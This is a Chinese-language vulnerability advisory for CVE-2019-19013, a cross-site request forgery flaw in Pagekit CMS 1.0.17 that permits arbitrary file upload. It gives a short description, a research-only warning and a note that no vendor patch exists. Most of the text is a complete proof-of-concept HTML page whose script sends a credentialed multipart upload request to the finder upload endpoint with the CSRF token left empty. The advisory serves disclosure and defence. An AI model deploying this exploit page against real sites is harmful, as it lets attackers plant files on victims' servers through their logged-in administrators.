Pagekit 跨站请求伪造漏洞 (CVE-2019-19013)
发布日期:2019-11-21
更新日期:2019-11-26
受影响系统:
描述:
CVE(CAN) ID: CVE-2019-19013
Pagekit是一套模块化的、轻量级内容管理系统。
Pagekit 1.0.17版本,在实现中存在跨站请求伪造漏洞。通过从请求中删除CSRF标记,攻击者利用该漏洞可上传任意文件。
<*来源:vendor
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
vendor ()提供了如下测试方法:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/localhost\/pagekit\/system\/finder\/upload", true);
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryJze564AoGkbRRRUz");
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
xhr.withCredentials = true;
var body = "------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +
"Content-Disposition: form-data; name=\"files[]\"; filename=\"test.jpg\"\r\n" +
"Content-Type: image/jpeg\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +
"Content-Disposition: form-data; name=\"path\"\r\n" +
"\r\n" +
"/\r\n" +
"------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +
"Content-Disposition: form-data; name=\"root\"\r\n" +
"\r\n" +
"storage\r\n" +
"------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +
"Content-Disposition: form-data; name=\"_csrf\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryJze564AoGkbRRRUz--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
<form action="#">
<input type="button" value="Submit request" />
</form>
</body>
< /html>
建议:
厂商补丁:
Pagekit
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
https://pagekit.com/
https://packetstormsecurity.com/files/155426/Pagekit-CMS-1.0.17-Cross-Site-Request-Forgery.html